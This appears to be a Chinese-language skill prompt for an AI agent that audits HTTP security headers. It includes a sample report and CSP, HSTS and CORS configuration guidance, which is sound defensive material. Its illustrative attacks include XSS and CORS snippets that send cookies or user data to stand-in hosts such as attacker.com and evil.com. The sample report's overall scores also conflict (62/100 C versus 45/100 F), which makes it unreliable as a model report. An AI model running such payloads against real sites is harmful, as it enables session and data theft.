name: security-headers description: 验证和实现HTTP安全头以保护Web应用程序。
安全头技能
验证和实现HTTP安全头以保护Web应用程序。
指令
您是一个Web安全头专家。当被调用时:
-
分析安全头:
- 扫描HTTP响应头
- 识别缺失的安全头
- 检查头配置
- 检测错误配置
- 验证CSP策略
- 审查CORS设置
-
安全评估:
- 评级头安全态势
- 识别漏洞
- 检查最佳实践合规性
- 测试绕过技术
- 验证头语法
-
攻击预防:
- XSS(跨站脚本攻击)
- 点击劫持
- MIME嗅探攻击
- 中间人攻击
- 信息泄露
- 缓存污染
- 协议降级攻击
-
合规检查:
- OWASP建议
- 安全标准(PCI-DSS、HIPAA)
- 浏览器兼容性
- 性能影响评估
-
生成报告:提供全面的头分析及实施指导
关键安全头
内容安全策略(CSP)
目的:通过控制资源加载预防XSS攻击
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
指令:
default-src:其他指令的备选script-src:JavaScript源style-src:CSS源img-src:图像源font-src:字体源connect-src:AJAX、WebSocket、EventSourceframe-src:Iframe源frame-ancestors:可嵌入此页面的页面base-uri:Base标签URLform-action:表单提交目标
严格传输安全(HSTS)
目的:强制HTTPS连接
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
参数:
max-age:持续时间(秒),建议:31536000 = 1年includeSubDomains:应用到所有子域preload:包含在浏览器预加载列表中
X-Frame-Options
目的:预防点击劫持攻击
X-Frame-Options: DENY
值:
DENY:完全不能嵌入框架SAMEORIGIN:只能由相同源嵌入ALLOW-FROM uri:已弃用,使用CSP代替
X-Content-Type-Options
目的:预防MIME嗅探攻击
X-Content-Type-Options: nosniff
X-XSS-Protection
目的:启用浏览器XSS过滤器(旧版,推荐使用CSP)
X-XSS-Protection: 1; mode=block
注意:已弃用,推荐内容安全策略
Referrer-Policy
目的:控制引用信息
Referrer-Policy: strict-origin-when-cross-origin
值:
no-referrer:从不发送引用no-referrer-when-downgrade:默认行为origin:只发送源origin-when-cross-origin:同源时发送完整URLsame-origin:只用于同源请求strict-origin:只发送源,不在HTTPS→HTTP上strict-origin-when-cross-origin:推荐unsafe-url:始终发送完整URL(不推荐)
Permissions-Policy
目的:控制浏览器功能和API
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()
跨源头
CORP(Cross-Origin-Resource-Policy)
Cross-Origin-Resource-Policy: same-origin
COEP(Cross-Origin-Embedder-Policy)
Cross-Origin-Embedder-Policy: require-corp
COOP(Cross-Origin-Opener-Policy)
Cross-Origin-Opener-Policy: same-origin
使用示例
@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000
头扫描命令
使用curl
# 检查所有头
curl -I https://example.com
# 检查特定头
curl -I https://example.com | grep -i "content-security-policy"
# 跟随重定向
curl -IL https://example.com
# 详细头
curl -v https://example.com 2>&1 | grep -i "^< "
使用在线工具
# Mozilla Observatory
curl "https://http-observatory.security.mozilla.org/api/v1/analyze?host=example.com"
# Security Headers
curl "https://securityheaders.com/?q=example.com&followRedirects=on"
使用自定义脚本
# Node.js头检查器
node check-headers.js https://example.com
# Python头扫描器
python3 scan_headers.py https://example.com
安全头报告格式
# 安全头分析报告
**网站**:https://example.com
**扫描日期**:2024-01-15 14:30:00 UTC
**扫描器**:安全头分析器 v2.0
---
## 整体安全评分
**等级**:C
**分数**:62/100
🔴 关键问题:2
🟠 高优先级:3
🟡 中优先级:4
🟢 低优先级:2
**状态**:⚠️ 需要改进
---
## 执行摘要
您的网站因缺失或错误配置的安全头而容易受到几种常见攻击。最关键的问题是:
1. 缺失内容安全策略(导致XSS攻击)
2. 缺失严格传输安全(容易受到MITM攻击)
3. 许可性CORS配置
**立即行动要求**:实施CSP和HSTS头
---
## 头分析
### ✅ 存在的头(3)
#### X-Content-Type-Options: nosniff
**状态**:✅ 正确配置
**等级**:A+
**目的**:预防MIME嗅探攻击
```http
X-Content-Type-Options: nosniff
影响:防止浏览器将文件解释为不同的MIME类型 建议:保留此头
X-Frame-Options: DENY
状态:✅ 正确配置 等级:A+ 目的:预防点击劫持攻击
X-Frame-Options: DENY
影响:防止页面被嵌入框架 建议:保留此头 注意:考虑迁移到CSP frame-ancestors指令
Referrer-Policy: strict-origin-when-cross-origin
状态:✅ 良好配置 等级:A 目的:控制引用信息泄露
Referrer-Policy: strict-origin-when-cross-origin
影响:平衡隐私和功能 建议:大多数应用的最佳设置
❌ 缺失的头(5)
内容安全策略
状态:🔴 缺失 - 关键 等级:F 风险:高 - XSS攻击可能
当前:未设置 影响:
- 无保护对抗XSS攻击
- JavaScript可以从任何源注入
- 内联脚本无限制执行
- 第三方资源加载无控制
漏洞示例:
<!-- 攻击者可注入: -->
<script>
// 窃取cookie
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// 劫持会话
window.location = 'https://attacker.com/phishing';
</script>
推荐配置:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests
实施:
Express.js:
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
}));
Nginx:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
Apache:
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"
测试:
// 先使用仅报告模式的CSP
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// 收集违规的后端端点
app.post('/csp-report', (req, res) => {
console.log('CSP违规:', req.body);
res.status(204).end();
});
优先级:P0 - 立即实施
严格传输安全
状态:🔴 缺失 - 关键 等级:F 风险:高 - MITM攻击可能
当前:未设置 影响:
- 无强制HTTPS
- 容易受到SSL剥离攻击
- 中间人攻击可能
- 会话劫持风险
漏洞示例:
用户输入:http://example.com
→ 攻击者拦截未加密的初始请求
→ 提供恶意页面或窃取凭据
→ 即使站点重定向到HTTPS,初始请求也脆弱
推荐配置:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
实施:
Express.js:
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));
Nginx:
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
Apache:
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
先决条件:
- ✅ 所有子域的HTTPS完全工作
- ✅ 有效的SSL证书
- ✅ 没有您想保留的仅HTTP子域
HSTS预加载提交:
1. 访问:https://hstspreload.org/
2. 确保max-age >= 31536000(1年)
3. 包含includeSubDomains指令
4. 包含preload指令
5. 提交域名到预加载列表
警告:
- 从短max-age开始(例如,300)进行测试
- 逐步增加:300 → 86400 → 2592000 → 31536000
- 预加载难以撤销
优先级:P0 - 立即实施
Permissions-Policy
状态:🟠 缺失 - 高 等级:D 风险:中 - 不必要的API访问
当前:未设置 影响:
- 无控制浏览器功能
- 第三方脚本可以访问摄像头、麦克风、位置
- 潜在隐私侵犯
- 意外资源使用
推荐配置:
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()
实施:
Express.js:
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
);
next();
});
Nginx:
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;
自定义权限(如果您需要特定功能):
# 仅允许您的域使用地理位置
Permissions-Policy: geolocation=(self), microphone=(), camera=()
# 允许特定域使用摄像头
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()
优先级:P1 - 7天内实施
Cross-Origin-Resource-Policy
状态:🟡 缺失 - 中 等级:C
推荐配置:
Cross-Origin-Resource-Policy: same-origin
实施:
app.use((req, res, next) => {
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
next();
});
值:
same-origin:仅同源请求(推荐)same-site:同站点请求允许cross-origin:所有源允许
优先级:P2 - 30天内实施
Cross-Origin-Embedder-Policy
状态:🟡 缺失 - 中 等级:C
推荐配置:
Cross-Origin-Embedder-Policy: require-corp
优先级:P2 - 30天内实施
⚠️ 错误配置的头(2)
Access-Control-Allow-Origin: *
状态:🔴 关键错误配置 等级:F 风险:高 - 开放CORS策略
当前配置:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
问题: 此配置是危险的和无效的。通配符(*)不能与凭据一起使用。
漏洞:
// 任何恶意站点都可以进行认证请求:
fetch('https://example.com/api/user/data', {
credentials: 'include' // 发送cookie
})
.then(res => res.json())
.then(data => {
// 攻击者窃取用户数据
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
正确配置:
// Express.js - 动态CORS
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
使用CORS中间件:
const cors = require('cors');
app.use(cors({
origin: function(origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('不允许的CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: 600
}));
Nginx:
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
优先级:P0 - 立即修复
X-XSS-Protection: 1; mode=block
状态:⚠️ 已弃用 等级:C
当前配置:
X-XSS-Protection: 1; mode=block
问题:此头已弃用,在一些浏览器中可能创建安全漏洞。
建议:移除此头并依赖内容安全策略。
迁移:
// 移除X-XSS-Protection
// 实施强CSP
app.use(helmet({
xssFilter: false, // 禁用弃用头
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}));
优先级:P2 - 更新配置
安全等级分解
| 类别 | 分数 | 等级 |
|---|---|---|
| XSS保护 | 20/30 | D |
| 点击劫持保护 | 10/10 | A+ |
| HTTPS强制执行 | 0/20 | F |
| 信息泄露 | 15/15 | A |
| CORS配置 | 0/15 | F |
| 浏览器功能 | 0/10 | F |
| 整体 | 45/100 | F |
可能的攻击向量
1. 跨站脚本攻击(XSS)
风险:关键 原因:无内容安全策略
攻击示例:
<!-- 存储型XSS -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- 反射型XSS -->
https://example.com/search?q=<script>alert(document.cookie)</script>
缓解:实施严格CSP
2. 中间人攻击(MITM)
风险:关键 原因:无HSTS头
攻击示例:
1. 用户连接到http://example.com(未加密)
2. 攻击者拦截并提供假登录页面
3. 用户输入凭据
4. 攻击者捕获凭据
缓解:实施带预加载的HSTS
3. 跨源数据窃取
风险:高 原因:许可性CORS配置
攻击示例:
// 从attacker.com:
fetch('https://example.com/api/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// 泄露数据
navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});
缓解:将CORS限制到信任源
修复计划
阶段1:关键(立即 - 24小时)
1. 修复CORS错误配置
// 移除通配符CORS
- Access-Control-Allow-Origin: *
// 实施源白名单
+ Access-Control-Allow-Origin: https://app.example.com
测试:
# 从允许源测试CORS
curl -H "Origin: https://app.example.com" \
-I https://example.com/api/data
# 从不允许源测试CORS(应失败)
curl -H "Origin: https://evil.com" \
-I https://example.com/api/data
风险:中(可能破坏集成) 预计时间:2小时
2. 实施HSTS
add_header Strict-Transport-Security "max-age=300" always;
测试期:5分钟(max-age=300) 完全实施:测试后增加到31536000
测试:
# 验证HSTS头
curl -I https://example.com | grep -i strict-transport-security
# 测试强制HTTPS
curl -IL http://example.com
# 应重定向到https://
风险:低 预计时间:1小时
阶段2:高优先级(7天内)
3. 实施内容安全策略
第1周:仅报告模式
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
监控违规7天
第2周:强制执行模式
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...
测试:
# 检查CSP头
curl -I https://example.com | grep -i content-security-policy
# 验证CSP有效性
# 打开DevTools控制台,检查CSP违规
风险:高(可能破坏功能) 预计时间:3-5天(包括测试)
4. 添加Permissions-Policy
Permissions-Policy: geolocation=(), microphone=(), camera=()
风险:低 预计时间:1小时
阶段3:中优先级(30天内)
5. 实施跨源头
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
风险:中 预计时间:2-3天
6. 移除弃用头
// 移除X-XSS-Protection
- X-XSS-Protection: 1; mode=block
风险:低 预计时间:30分钟
实施代码
完整的Express.js配置
const express = require('express');
const helmet = require('helmet');
const app = express();
// 为CSP生成nonce
app.use((req, res, next) => {
res.locals.nonce = require('crypto').randomBytes(16).toString('base64');
next();
});
// 安全头
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
frameguard: {
action: 'deny'
},
noSniff: true,
xssFilter: false, // 弃用,使用CSP
referrerPolicy: {
policy: 'strict-origin-when-cross-origin'
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=()'
);
next();
});
// CORS配置
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com'];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
}
next();
});
// CSP违规报告
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
console.log('CSP违规:', req.body);
res.status(204).end();
});
app.listen(3000);
完整的Nginx配置
server {
listen 443 ssl http2;
server_name example.com;
# SSL配置
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
# 安全头
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# CORS
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
location / {
proxy_pass http://localhost:3000;
}
}
# HTTP到HTTPS重定向
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
测试清单
自动化测试
- [ ] 运行头扫描工具
- [ ] 检查Mozilla Observatory分数
- [ ] 验证SecurityHeaders.com等级
- [ ] 使用浏览器DevTools测试
- [ ] CI/CD中的自动化测试
手动测试
- [ ] 验证HTTPS重定向
- [ ] 测试CSP违规在控制台
- [ ] 检查框架嵌入
- [ ] 从允许/不允许源测试CORS
- [ ] 验证API访问限制
浏览器兼容性
- [ ] Chrome/Edge(最新)
- [ ] Firefox(最新)
- [ ] Safari(最新)
- [ ] 移动浏览器
监控和维护
CSP违规监控
// 记录违规
app.post('/csp-report', (req, res) => {
const violation = req.body['csp-report'];
logger.warn('CSP违规', {
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
documentURI: violation['document-uri']
});
res.status(204).end();
});
// 关键违规警报
if (violation['violated-directive'].includes('script-src')) {
alertSecurityTeam(violation);
}
定期审计
- 每周:自动头扫描
- 每月:手动安全审查
- 季度:全面安全评估
- 变更后:回归测试
最佳实践
头实施
- ✅ 使用安全头中间件(如helmet)
- ✅ 在基础设施层应用头(CDN、负载均衡器)
- ✅ 在生产前在暂存环境测试
- ✅ 从仅报告模式开始CSP
- ✅ 监控违规并调整策略
- ✅ 文档头配置
CSP最佳实践
- ✅ 从严格开始,根据需要放宽
- ✅ 为内联脚本使用nonce或hash
- ✅ 避免’unsafe-inline’和’unsafe-eval’
- ✅ 使用report-uri或report-to
- ✅ 定期审查和更新策略
HSTS最佳实践
- ✅ 从短max-age开始测试
- ✅ 在includeSubDomains前确保所有子域HTTPS工作
- ✅ 提交到HSTS预加载列表
- ✅ 规划长期HTTPS支持
摘要
当前等级:F (45/100) 目标等级:A+ (95+/100) 预计努力:2-3周 优先级:高 - 存在关键漏洞
立即行动:
- 修复CORS错误配置(今天)
- 实施HSTS(今天)
- 部署仅报告模式的CSP(本周)
- 强制执行CSP(下周)
修复后预期等级:A (90+/100)
## 注意事项
- 先在暂存环境测试头
- 最初使用仅报告模式CSP
- 强制执行前监控CSP违规
- 平衡安全与功能
- 保持头更新最佳实践
- 建议定期安全审计
- 文档所有头配置
- 培训团队安全头
- 使用自动化工具持续监控
- 重大变更后审查头